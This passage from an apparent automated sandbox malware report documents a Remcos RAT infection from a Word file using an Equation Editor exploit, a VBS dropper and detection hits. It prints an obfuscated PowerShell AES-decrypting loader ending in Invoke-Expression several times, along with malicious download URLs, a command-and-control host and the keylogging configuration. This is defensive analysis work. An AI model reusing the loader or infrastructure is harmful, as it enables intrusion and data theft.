TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: Suspicious Microsoft Office Child Process
              Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2396, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , ProcessId: 1236, ProcessName: wscript.exe
              Sigma detected: WScript or CScript Dropper
              Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2396, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , ProcessId: 1236, ProcessName: wscript.exe
              Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
              Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\mmsiqhwoqhbqrxshpqajxrsgsxt", CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\mmsiqhwoqhbqrxshpqajxrsgsxt", CommandLine|base64offset|contains: ^, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ParentProcessId: 3264, ParentProcessName: RegAsm.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\mmsiqhwoqhbqrxshpqajxrsgsxt", ProcessId: 3416, ProcessName: RegAsm.exe
              Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
              Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2396, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" , ProcessId: 1236, ProcessName: wscript.exe
              Sigma detected: Modification of IE Registry Settings
              Source: Registry Key setAuthor: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2396, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings
              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: Office Macro File Creation
              Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 288, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
              Sigma detected: Potential Encoded PowerShell Patterns In CommandLine
              Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: PowerShell Script Dropped Via PowerShell.EXE
              Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3116, TargetFilename: C:\Users\user\AppData\Local\Temp\lskrghcp.4w4.ps1

              Stealing of Sensitive Information

              barindex
              Sigma detected: Remcos
              Source: Registry Key setAuthor: Joe Security: Data: Details: EA C8 31 73 B7 22 BD 86 63 B7 22 9B BF FC 88 10 5E D8 EC 78 D6 45 68 54 2D A5 DA 58 3A 0D 7D C3 1A D3 27 79 15 6F B5 E6 A1 88 28 0F 3F D0 9F E3 86 F7 3E 72 BE 64 ED D4 57 92 72 6C 0E 20 E0 BC 31 C8 0B 36 A7 95 21 CB 02 36 57 63 02 57 C1 38 7F 31 62 8E 11 F0 B7 86 E2 8F 01 5D A1 B7 0E 7A E7 80 57 3B 63 1C 38 55 C2 11 49 C4 69 6E B2 F3 CA B3 , EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ProcessId: 3264, TargetObject: HKEY_CURRENT_USER\Software\Rmc-F4JFYD\exepath

              Snort Signatures

              ⊘No Snort rule has matched

              Suricata Signatures

              Timestamp:2024-07-26T15:05:11.866568+0200
              SID:2020424
              Source Port:80
              Destination Port:49165
              Protocol:TCP
              Classtype:Exploit Kit Activity Detected
              Timestamp:2024-07-26T15:05:19.673935+0200
              SID:2036594
              Source Port:49167
              Destination Port:18576
              Protocol:TCP
              Classtype:Malware Command and Control Activity Detected
              Timestamp:2024-07-26T15:05:19.832361+0200
              SID:2803304
              Source Port:49168
              Destination Port:80
              Protocol:TCP
              Classtype:Unknown Traffic
              Timestamp:2024-07-26T15:05:18.310919+0200
              SID:2036594
              Source Port:49166
              Destination Port:18576
              Protocol:TCP
              Classtype:Malware Command and Control Activity Detected
              Timestamp:2024-07-26T15:05:10.533268+0200
              SID:2049038
              Source Port:80
              Destination Port:49164
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:2024-07-26T15:05:09.535741+0200
              SID:2047750
              Source Port:80
              Destination Port:49164
              Protocol:TCP
              Classtype:A Network Trojan was detected

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus / Scanner detection for submitted sample
              Source: erthings.docAvira: detected
              Antivirus detection for URL or domain
              Source: http://192.3.176.154/50/screensimplethingstohandlecream.gIFAvira URL Cloud: Label: malware
              Source: http://198.46.176.133/Upload/vbs.jpegAvira URL Cloud: Label: malware
              Antivirus detection for dropped file
              Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{01C6C27F-A561-40CD-B0F2-2BC57BD07727}.tmpAvira: detection malicious, Label: EXP/CVE-2017-11882.Gen
              Source: C:\Users\user\Desktop\~WRD0000.tmpAvira: detection malicious, Label: EXP/CVE-2017-11882.Gen
              Found malware configuration
              Source: 00000008.00000002.883935263.0000000000891000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": "maveing.duckdns.org:18576:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-F4JFYD", "Keylog flag": "1", "Keylog path": "Temp", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
              Multi AV Scanner detection for submitted file
              Source: erthings.docReversingLabs: Detection: 47%
              Yara detected Remcos RAT
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.444d080.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.444d080.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000008.00000002.883935263.0000000000891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.370133163.0000000004128000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3116, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3264, type: MEMORYSTR
              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, type: DROPPED
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,8_2_00433837
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00404423 FreeLibrary,CryptUnprotectData,10_2_00404423
              Source: powershell.exe, 00000006.00000002.370133163.0000000004128000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_e4966279-5

              Exploits

              barindex
              Yara detected UAC Bypass using CMSTP
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.444d080.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
